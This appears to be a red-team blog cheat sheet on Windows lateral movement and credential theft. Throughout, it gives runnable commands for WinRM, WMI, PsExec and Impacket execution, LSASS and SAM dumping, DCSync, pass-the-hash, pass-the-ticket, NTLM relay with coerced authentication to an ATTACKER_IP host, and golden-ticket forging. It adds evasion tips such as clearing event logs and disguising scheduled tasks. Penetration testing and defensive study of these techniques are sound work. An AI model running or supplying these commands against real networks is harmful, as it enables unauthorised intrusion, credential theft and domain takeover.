Skip to main content
Background Image

Red Team Notes (Lateral Movement & Credential Access)

3795 words
Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

Lateral Movement
#

This section provides actionable workflows for moving between hosts within a compromised network.

PowerShell Remoting (WinRM)
#

Uses WinRM (TCP 5985/5986) for remote PowerShell execution.

Establish a Session
#

# Prompt for credentials securely
$cred = Get-Credential contoso\svc_admin

# Create persistent session
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Credential $cred

# Multiple targets simultaneously
$servers = @("server01.contoso.local", "server02.contoso.local")
$sessions = New-PSSession -ComputerName $servers -Credential $cred

# Use current credentials (if already domain user)
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN>

# Specify alternate port (if WinRM is on non-standard port)
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Port 5986 -UseSSL -Credential $cred

# Session options for better OPSEC
$so = New-PSSessionOption -NoMachineProfile -SkipCACheck -SkipCNCheck
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Credential $cred -SessionOption $so

Execute Commands
#

# Run simple command to verify access
Invoke-Command -Session $session -ScriptBlock { whoami; hostname }

# Execute commands on multiple systems simultaneously
Invoke-Command -ComputerName $servers -Credential $cred -ScriptBlock { Get-Process }

# Execute local script on remote machine
Invoke-Command -Session $session -FilePath .\payload.ps1

# Execute script block with arguments
Invoke-Command -Session $session -ScriptBlock { param($arg1) Get-Process $arg1 } -ArgumentList "lsass"

# Execute command and save output
$output = Invoke-Command -Session $session -ScriptBlock { Get-ChildItem C:\Users }

# Copy files to/from remote session
Copy-Item -Path .\tool.exe -Destination C:\Windows\Temp\tool.exe -ToSession $session
Copy-Item -Path C:\temp\data.txt -Destination .\loot\ -FromSession $session

# Background job for long-running tasks
Invoke-Command -Session $session -ScriptBlock { Start-Sleep -Seconds 300 } -AsJob
Get-Job | Receive-Job

Gain Interactive Access
#

# Enter interactive session
Enter-PSSession -Session $session

# Or directly without pre-creating session
Enter-PSSession -ComputerName <TARGET_SERVER_FQDN> -Credential $cred

# Exit interactive session
Exit-PSSession

# Clean up sessions when done (OPSEC)
Remove-PSSession -Session $session
Get-PSSession | Remove-PSSession

OPSEC Enhancements
#

# Disable command history (avoid leaving traces)
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# Clear event logs (requires admin, very suspicious)
Invoke-Command -Session $session -ScriptBlock {
    wevtutil cl "Windows PowerShell"
    wevtutil cl "Microsoft-Windows-PowerShell/Operational"
}

# Use CredSSP for double-hop authentication (allows further lateral movement)
# WARNING: Less secure, only use when necessary
Enable-WSManCredSSP -Role Client -DelegateComputer <TARGET_SERVER_FQDN> -Force
$session = New-PSSession -ComputerName <TARGET_SERVER_FQDN> -Authentication CredSSP -Credential $cred

WMI (Windows Management Instrumentation)
#

WMI provides system management via DCOM (TCP 135 + dynamic RPC ports).

wmic.exe (Deprecated in Windows 11+)
#

:: Basic command execution
wmic /node:<TARGET_SERVER> /user:<DOMAIN>\<USER> /password:<PASSWORD> process call create "cmd.exe /c whoami"

:: Execute PowerShell payload
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> process call create "powershell.exe -NoP -W Hidden -Enc <BASE64_PAYLOAD>"

:: Multiple targets from file
wmic /node:@targets.txt /user:<USER> /password:<PASSWORD> process call create "cmd.exe /c ipconfig"

:: Query information (enumeration)
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> computersystem get name,domain,manufacturer
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> os get caption,version
wmic /node:<TARGET_SERVER> /user:<USER> /password:<PASSWORD> qfe list

:: NOTE: wmic.exe is deprecated in Windows 11 (build 21H2+). Use PowerShell alternatives.

PowerShell WMI
#

# Basic process creation
Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Class Win32_Process -Name Create -ArgumentList "calc.exe" -Credential (Get-Credential)

# More advanced: Execute encoded PowerShell
$cred = Get-Credential
$command = "powershell.exe -NoP -W Hidden -Enc <BASE64>"
Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_Process -Name Create -ArgumentList $command

# Execute and capture return value
$result = Invoke-WmiMethod -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c dir C:\ > C:\temp\output.txt"
if ($result.ReturnValue -eq 0) { Write-Host "Success. PID: $($result.ProcessId)" }

# WMI queries (stealthier than execution)
Get-WmiObject -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_ComputerSystem
Get-WmiObject -ComputerName <TARGET_SERVER> -Credential $cred -Class Win32_Process | Where-Object {$_.Name -eq "lsass.exe"}

# Using CIM cmdlets (modern, recommended over WMI cmdlets)
$session = New-CimSession -ComputerName <TARGET_SERVER> -Credential $cred
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"}
Get-CimInstance -CimSession $session -ClassName Win32_OperatingSystem
Remove-CimSession -CimSession $session

Impacket (wmiexec.py from Linux)
#

# Using password authentication
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

# Pass-the-Hash
impacket-wmiexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>

# With full LM:NT hash format
impacket-wmiexec -hashes <LM_HASH>:<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>

# Execute specific command and exit
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "whoami /all"

# Kerberos authentication (requires valid TGT)
impacket-wmiexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>

# Specify custom share for output (default is ADMIN$)
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> -share C$

# Codec specification for non-English systems
impacket-wmiexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> -codec gbk

PsExec & Alternatives
#

Service-based remote execution. Creates and starts a service on the target.

PsExec (Sysinternals)
#

:: Basic execution
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> cmd.exe

:: Interactive session
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -i cmd.exe

:: Run as SYSTEM
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -s cmd.exe

:: Copy executable and run
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -c payload.exe

:: Don't wait for process to terminate
psexec.exe \\<TARGET_SERVER> -u <DOMAIN>\<USER> -p <PASSWORD> -d cmd.exe /c "whoami"

Impacket (psexec.py)
#

# Standard execution
impacket-psexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

# Pass-the-Hash
impacket-psexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>

# Kerberos authentication
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>

# Execute command and exit
impacket-psexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "ipconfig /all"

Stealthier Alternatives
#

# smbexec.py - No service creation, uses SMB + scheduled tasks
impacket-smbexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
impacket-smbexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>

# atexec.py - Uses Task Scheduler (less suspicious than service)
impacket-atexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "whoami"
impacket-atexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP> "systeminfo"

# dcomexec.py - Uses DCOM for execution (very stealthy)
impacket-dcomexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>
impacket-dcomexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP> "cmd.exe /c whoami"

Scheduled Tasks
#

Create remote scheduled tasks for execution.

schtasks.exe (Native)
#

:: Create task to run at specific time
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "MyTask" /TR "C:\Windows\Temp\payload.exe" /ST 10:00

:: Create task to run immediately (use /SC ONCE with /ST set to current time + 1 minute)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "WindowsUpdate" /TR "powershell.exe -NoP -W Hidden -Enc <BASE64>" /ST 14:35 /F

:: Run task immediately (after creation)
schtasks /run /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /TN "MyTask"

:: Query existing tasks (enumeration)
schtasks /query /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /V /FO LIST

:: Delete task (cleanup - CRITICAL for OPSEC)
schtasks /delete /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /TN "MyTask" /F

:: Create recurring task (persistent access)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC DAILY /TN "MaintenanceTask" /TR "C:\Windows\Temp\beacon.exe" /ST 09:00

:: Run as SYSTEM (requires appropriate privileges)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "SysTask" /TR "cmd.exe /c whoami" /ST 15:00 /RU SYSTEM

:: Hidden task (won't appear in Task Scheduler GUI easily)
schtasks /create /S <TARGET_SERVER> /U <DOMAIN>\<USER> /P <PASSWORD> /SC ONCE /TN "\Microsoft\Windows\UpdateTask" /TR "powershell.exe -c IEX(...)" /ST 16:00 /F

PowerShell (ScheduledTasks Module - Windows 8+/Server 2012+)
#

# Modern approach using ScheduledTasks cmdlets
$cred = Get-Credential

# Create action
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoP -W Hidden -Enc <BASE64>"

# Create trigger (one-time, immediate)
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1)

# Create principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest

# Register task on remote system
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
    Register-ScheduledTask -TaskName "WindowsDefenderUpdate" -Action $using:action -Trigger $using:trigger -Principal $using:principal
}

# Start task immediately
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
    Start-ScheduledTask -TaskName "WindowsDefenderUpdate"
}

# Remove task (cleanup)
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
    Unregister-ScheduledTask -TaskName "WindowsDefenderUpdate" -Confirm:$false
}

# Enumerate tasks
Invoke-Command -ComputerName <TARGET_SERVER> -Credential $cred -ScriptBlock {
    Get-ScheduledTask | Where-Object {$_.State -ne "Disabled"} | Select-Object TaskName, State, TaskPath
}

Impacket (atexec.py)
#

# Execute command via scheduled task (auto-cleanup)
impacket-atexec <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP> "whoami /all"

# Pass-the-Hash
impacket-atexec -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP> "systeminfo"

# Kerberos authentication
impacket-atexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN> "ipconfig /all"

# Note: atexec creates temporary tasks and cleans them up automatically

Credential Access
#

LSASS Memory Dumping
#

Extract credentials from LSASS process memory. Contains plaintext passwords, NTLM hashes, and Kerberos tickets.

Requirements: Local admin or SeDebugPrivilege

Procdump (Sysinternals)
#

:: Find LSASS PID
tasklist | findstr lsass.exe

:: Dump with procdump (accepts EULA automatically)
procdump.exe -accepteula -ma <LSASS_PID> lsass.dmp

:: Alternative: Use process name
procdump.exe -accepteula -ma lsass.exe lsass.dmp

:: Dump to alternate location
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\debug.dmp

:: NOTE: Transfer lsass.dmp offline for parsing (avoid running Mimikatz on target)

comsvcs.dll (Native LOLBin Method)
#

:: Find LSASS PID
tasklist | findstr lsass.exe

:: Dump using native DLL (requires admin)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full

:: PowerShell variant (better for remote execution)
powershell -c "rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full"

:: NOTE: This method is heavily monitored but uses signed Microsoft DLL

Task Manager (GUI Method - Less Suspicious)
#

1. Open Task Manager (taskmgr.exe) as Administrator
2. Go to Details tab
3. Right-click lsass.exe
4. Select "Create dump file"
5. Default location: C:\Users\<USER>\AppData\Local\Temp\lsass.DMP
6. Transfer file offline

Modern EDR Evasion Techniques
#

# Duplicate LSASS handle (bypass some EDR hooks)
# Requires custom tooling like SafetyDump, SharpDump, or EDRSandblast

# Example with PowerShell (technique overview)
# 1. Open handle to LSASS with minimal permissions
# 2. Duplicate handle with PROCESS_VM_READ
# 3. Use duplicated handle for MiniDumpWriteDump
# (Implementation requires C# or native code)

# Alternative: Dump memory from kernel driver (very advanced)
# Requires loading custom driver (needs TESTSIGNING or valid signature)

Offline Parsing
#

# Mimikatz (Windows)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

# Full output with tickets
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "sekurlsa::tickets" "exit"

# Pypykatz (Python - Cross-platform)
pypykatz lsa minidump lsass.dmp

# Save output to file
pypykatz lsa minidump lsass.dmp -o pypykatz_output.txt

# JSON output for parsing
pypykatz lsa minidump lsass.dmp --json -o results.json

# Verbose output with all details
pypykatz lsa minidump lsass.dmp -v

SAM & SYSTEM Hive Dumping
#

Extract local account password hashes from registry. Useful for local admin credential reuse across multiple systems.

Requirements: SYSTEM or Administrator privileges

Save Registry Hives
#

:: Standard method (requires admin)
reg save hklm\sam C:\temp\sam.hiv
reg save hklm\system C:\temp\system.hiv
reg save hklm\security C:\temp\security.hiv

:: Alternative output locations
reg save hklm\sam \\<ATTACKER_IP>\share\sam.hiv
reg save hklm\system \\<ATTACKER_IP>\share\system.hiv

:: PowerShell method
reg.exe save hklm\sam C:\Windows\Temp\sam.hiv /y
reg.exe save hklm\system C:\Windows\Temp\system.hiv /y

:: Check file sizes (ensure successful save)
dir C:\temp\*.hiv

Volume Shadow Copy Method
#

:: List shadow copies
vssadmin list shadows

:: Create new shadow copy
vssadmin create shadow /for=C:

:: Access shadow copy (note the path from list command)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\sam.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\system.hiv
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\security.hiv

:: PowerShell method for shadow copy
$shadow = (Get-WmiObject -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
$shadowPath = (Get-WmiObject Win32_ShadowCopy | Where-Object { $_.ID -eq $shadow.ShadowID }).DeviceObject
cmd /c copy "$shadowPath\Windows\System32\config\SAM" C:\temp\sam.hiv
cmd /c copy "$shadowPath\Windows\System32\config\SYSTEM" C:\temp\system.hiv

:: Delete shadow copy (cleanup)
vssadmin delete shadows /shadow={SHADOW_ID} /quiet

Parse Offline with Impacket
#

# Basic hash extraction
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL

# Include LSA secrets (cached credentials, service passwords)
impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL

# Output to file
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL > local_hashes.txt

# Format for hashcat/john
impacket-secretsdump -sam sam.hiv -system system.hiv LOCAL | grep ":" | grep -v "Dumping" > ntlm_hashes.txt

Remote SAM Dump
#

# Dump remote SAM database (requires admin access)
impacket-secretsdump <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

# Pass-the-Hash
impacket-secretsdump -hashes :<NT_HASH> <DOMAIN>/<USER>@<TARGET_IP>

# Dump only SAM (skip other secrets)
impacket-secretsdump -sam <DOMAIN>/<USER>:<PASSWORD>@<TARGET_IP>

DCSync Attack
#

Abuse AD replication privileges to request password data from Domain Controller. Appears as legitimate DC-to-DC replication.

Requirements:

  • Replicating Directory Changes (DS-Replication-Get-Changes)
  • Replicating Directory Changes All (DS-Replication-Get-Changes-All)
  • Usually requires Domain Admin, Enterprise Admin, or Administrators group

Impacket (secretsdump.py)
#

# Dump entire domain (NTDS.dit equivalent)
impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Pass-the-Hash
impacket-secretsdump -just-dc -hashes :<NT_HASH> <DOMAIN>/<USER>@<DC_IP>

# Kerberos authentication
impacket-secretsdump -just-dc -k -no-pass <DOMAIN>/<USER>@<DC_FQDN>

# Dump specific user (less noisy, targeted)
impacket-secretsdump -just-dc-user <DOMAIN>/krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>
impacket-secretsdump -just-dc-user <DOMAIN>/Administrator <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Dump only NTLM hashes (faster, smaller output)
impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Include password history
impacket-secretsdump -just-dc -history <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Output to file
impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<DC_IP> -outputfile dcsync_hashes

# Target specific DC (useful in multi-DC environment)
impacket-secretsdump -just-dc <DOMAIN>/<USER>:<PASSWORD>@<SPECIFIC_DC_IP>

# Use explicit credentials with password file
impacket-secretsdump -just-dc <DOMAIN>/<USER>@<DC_IP> -p $(cat password.txt)

Mimikatz (Requires Execution on Domain-Joined System)
#

# Dump specific user
lsadump::dcsync /domain:<DOMAIN_FQDN> /user:krbtgt

# Dump Domain Administrator
lsadump::dcsync /domain:<DOMAIN_FQDN> /user:Administrator

# Dump specific user by SID
lsadump::dcsync /domain:<DOMAIN_FQDN> /sid:S-1-5-21-...

# Dump all domain users (very noisy)
lsadump::dcsync /domain:<DOMAIN_FQDN> /all /csv

# Dump to specific DC
lsadump::dcsync /domain:<DOMAIN_FQDN> /dc:<DC_NAME> /user:krbtgt

Using Rubeus for DCSync (Alternative)
#

# Rubeus doesn't perform DCSync directly, but can be used with stolen replication credentials
# Use in combination with other techniques

Detection and OPSEC
#

# Events to monitor for DCSync:
# - Event ID 4662: Operation performed on object (with replication GUIDs)
# - Event ID 4624: Logon from unusual source performing replication
# - Event ID 5136: Directory service object modified

# OPSEC tips:
# 1. Perform DCSync during maintenance windows
# 2. Use legitimate DC naming conventions if creating fake DC
# 3. Space out requests (don't dump entire domain at once)
# 4. Target specific high-value accounts only
# 5. Use compromised DC credentials if possible (looks legitimate)

Over-Pass-the-Hash (Pass-the-Key)
#

Convert NTLM hash into Kerberos TGT. More stealthy than traditional Pass-the-Hash as it uses Kerberos protocol instead of NTLM.

Rubeus
#

# Request TGT using NTLM hash (RC4) and inject into current session
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt

# Request TGT using AES256 key (stealthier, less suspicious)
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_KEY> /ptt

# Request TGT and save to file (instead of injecting)
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /outfile:ticket.kirbi

# Inject saved ticket into current session
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Request TGT for specific DC
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /dc:<DC_IP> /ptt

# Verify ticket is loaded
klist

# View ticket details
.\Rubeus.exe klist

# Use ticket for network authentication
dir \\<TARGET_SERVER>\C$

Mimikatz
#

# Enable debug privilege
privilege::debug

# Overpass-the-Hash (creates new process with injected ticket)
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:cmd.exe

# With AES256 key (better OPSEC)
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_KEY> /run:powershell.exe

# Alternative: Inject into current process
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH>

# Request TGT manually
kerberos::ask /target:krbtgt/<DOMAIN> /user:<USERNAME> /rc4:<NTLM_HASH>

# List current tickets
kerberos::list

# Purge existing tickets (cleanup)
kerberos::purge

Impacket (getTGT.py)
#

# Request TGT using NTLM hash
impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH>

# With AES key
impacket-getTGT <DOMAIN>/<USER> -aesKey <AES256_KEY>

# Save to specific filename
impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>

# Export ticket for use
export KRB5CCNAME=<USER>.ccache

# Use ticket with other Impacket tools
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-wmiexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-smbexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>

# Verify ticket contents
klist (on Linux with Kerberos client)
# or
python3 -m pykerberosticket <USER>.ccache

OPSEC Enhancements
#

# Use AES keys instead of NTLM (requires extracting AES keys first)
# AES generates less suspicious Event IDs compared to RC4/NTLM

# Extract AES keys from LSASS dump using Mimikatz
sekurlsa::ekeys

# Or from DCSync
lsadump::dcsync /domain:<DOMAIN> /user:<USERNAME>

# Then use AES256 key with Rubeus (most stealthy)
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:<AES256_KEY> /ptt /nowrap

# Monitor for successful authentication
# Event ID 4768: Kerberos TGT request
# Look for Encryption Type: 0x12 (AES256) vs 0x17 (RC4) - AES is less suspicious

# Timing considerations
# Request tickets during business hours to blend with normal authentication
# Avoid requesting tickets for service accounts outside their typical usage patterns

Practical Workflow Example
#

# 1. Dump credentials from compromised host
.\Rubeus.exe dump /service:krbtgt /nowrap

# 2. Extract NTLM hash or AES key from output
# NTLM: a1b2c3d4e5f6...
# AES256: 1234567890abcdef...

# 3. Request TGT using hash/key
.\Rubeus.exe asktgt /user:targetuser /domain:contoso.local /aes256:<AES256_KEY> /ptt

# 4. Verify ticket loaded
klist
# Should show ticket for krbtgt/CONTOSO.LOCAL

# 5. Use ticket for lateral movement
dir \\dc01.contoso.local\C$
Enter-PSSession -ComputerName server01.contoso.local

# 6. Cleanup (optional, depends on OPSEC needs)
klist purge

Pass-the-Ticket (PTT)
#

Inject stolen Kerberos tickets (TGT or TGS) into current session for authentication. No password or hash needed.

Rubeus (Windows)
#

# Extract tickets from current session
.\Rubeus.exe dump /nowrap

# Extract all tickets from LSASS
.\Rubeus.exe dump /luid:0x3e7 /nowrap

# Export tickets to .kirbi files
.\Rubeus.exe dump /luid:0x3e7 /service:krbtgt /outfile:ticket.kirbi

# Inject ticket into current session
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Inject base64-encoded ticket
.\Rubeus.exe ptt /ticket:<BASE64_TICKET>

# Inject multiple tickets
.\Rubeus.exe ptt /ticket:ticket1.kirbi /ticket:ticket2.kirbi

# Create new logon session and inject ticket (better isolation)
.\Rubeus.exe createnetonly /program:cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TICKET>

# Monitor and renew tickets automatically
.\Rubeus.exe monitor /interval:60 /filteruser:<USERNAME>

# Verify tickets loaded
klist

# Use ticket
dir \\dc01.contoso.local\C$

Mimikatz
#

# List available tickets
sekurlsa::tickets

# Export tickets
sekurlsa::tickets /export

# Inject ticket from file
kerberos::ptt ticket.kirbi

# Inject multiple tickets
kerberos::ptt ticket1.kirbi ticket2.kirbi ticket3.kirbi

# List current session tickets
kerberos::list

# Purge all tickets (cleanup)
kerberos::purge

Impacket (Linux)
#

# Convert .kirbi to .ccache format (if needed)
impacket-ticketConverter ticket.kirbi ticket.ccache

# Set ticket for use
export KRB5CCNAME=ticket.ccache

# Or specify absolute path
export KRB5CCNAME=/path/to/ticket.ccache

# Verify ticket
klist

# Use ticket with Impacket tools (must use FQDN, not IP)
impacket-psexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-wmiexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-smbexec -k -no-pass <DOMAIN>/<USER>@<TARGET_FQDN>
impacket-secretsdump -k -no-pass <DOMAIN>/<USER>@<DC_FQDN>

# Access SMB shares
smbclient -k //target.contoso.local/C$ -U <USER>@<DOMAIN>

# Unset ticket
unset KRB5CCNAME
kdestroy

Ticket Harvesting Strategies
#

# Monitor for high-value tickets (Domain Admins, Service Accounts)
.\Rubeus.exe triage

# Harvest tickets from all sessions (requires SYSTEM)
.\Rubeus.exe dump /luid:0x3e7 /user:administrator /nowrap

# Monitor for DA logons and auto-harvest
.\Rubeus.exe monitor /interval:30 /targetuser:administrator /nowrap

# Extract TGT vs TGS
# TGT: Allows requesting any service ticket
# TGS: Only works for specific service
.\Rubeus.exe dump /service:krbtgt  # TGTs only
.\Rubeus.exe dump /service:cifs  # CIFS service tickets
.\Rubeus.exe dump /service:http  # HTTP service tickets

NTLM Relay
#

Intercept and relay NTLM authentication to access other systems. Effective when SMB signing is disabled.

Requirements: SMB signing disabled or not required on target

Responder + ntlmrelayx (Impacket)
#

# 1. Configure Responder (disable SMB and HTTP servers for relay)
# Edit /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off

# 2. Start Responder to capture authentication attempts
sudo responder -I eth0 -rdwv

# 3. In another terminal, start ntlmrelayx
# Relay to single target
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support

# Relay to multiple targets from file
impacket-ntlmrelayx -tf targets.txt -smb2support

# Relay and execute command
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support -c "whoami"

# Dump SAM database on successful relay
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support --dump-sam

# Dump LSA secrets
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support --dump-lsa

# Interactive shell on relay
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support -i

# Relay with SOCKS proxy for further interaction
impacket-ntlmrelayx -tf targets.txt -smb2support -socks

# Use with proxychains
proxychains impacket-psexec <DOMAIN>/<USER>@<TARGET_IP>

# Relay to LDAP for privilege escalation (add user to group)
impacket-ntlmrelayx -t ldap://<DC_IP> --escalate-user <USERNAME>

# Relay to LDAPS (if LDAPS available)
impacket-ntlmrelayx -t ldaps://<DC_IP> --escalate-user <USERNAME>

# Relay with specific interface
impacket-ntlmrelayx -t smb://<TARGET_IP> -smb2support -ip <ATTACKER_IP>

Triggering NTLM Authentication
#

# Force authentication attempts from targets

# 1. Create malicious file share link
echo '[InternetShortcut]' > file.url
echo 'URL=file://<ATTACKER_IP>/share' >> file.url

# 2. Send email with UNC path
# Body: \\<ATTACKER_IP>\share\image.jpg

# 3. PDF with UNC path (if user opens)
# Embed: /F <</FS /URL /F (\\\\<ATTACKER_IP>\\share\\file.pdf)>>

# 4. Use PetitPotam to coerce authentication from DC
python3 PetitPotam.py <ATTACKER_IP> <TARGET_DC_IP>

# 5. PrinterBug (SpoolSample)
python3 printerbug.py <DOMAIN>/<USER>:<PASSWORD>@<TARGET> <ATTACKER_IP>

Mitigation Checks
#

# Check if SMB signing is required (prevents relay)
nxc smb <TARGET> --gen-relay-list relay_targets.txt

# Manual check via nmap
nmap --script smb2-security-mode.nse -p445 <TARGET>

# PowerShell check from Windows
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature

Golden Ticket
#

Forge TGT using krbtgt account hash. Provides persistent domain access without needing actual credentials. Requirements: krbtgt NTLM hash or AES key, Domain SID

Gather Required Information
#

# 1. Get krbtgt hash via DCSync
impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USER>:<PASSWORD>@<DC_IP>

# Or with Mimikatz
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

# 2. Get Domain SID
# PowerShell
(Get-ADDomain).DomainSID

# Or via whoami
whoami /user
# Take everything except the last segment (RID)

# Or via PsGetSid
PsGetSid.exe \\<DC_NAME>

Create Golden Ticket with Mimikatz
#

# Basic golden ticket (10 years validity by default)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt

# With AES256 key (stealthier)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /aes256:<AES256_KEY> /ptt

# Specify ticket duration (avoid defaults)
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /startoffset:-10 /endin:600 /renewmax:10080 /ptt

# Create for specific user
kerberos::golden /user:<TARGET_USER> /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ptt

# Add to specific groups (customize permissions)
kerberos::golden /user:CustomAdmin /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /groups:512,513,518,519,520 /ptt

# Save to file instead of injecting
kerberos::golden /user:Administrator /domain:<DOMAIN_FQDN> /sid:<DOMAIN_SID> /krbtgt:<NTLM_HASH> /ticket:golden.kirbi

# Inject saved ticket
kerberos::ptt golden.kirbi

Create Golden Ticket with Impacket
#

# Create golden ticket
impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> Administrator

# With AES key
impacket-ticketer -aesKey <AES256_KEY> -domain-sid <DOMAIN_SID> -domain <DOMAIN_FQDN> Administrator

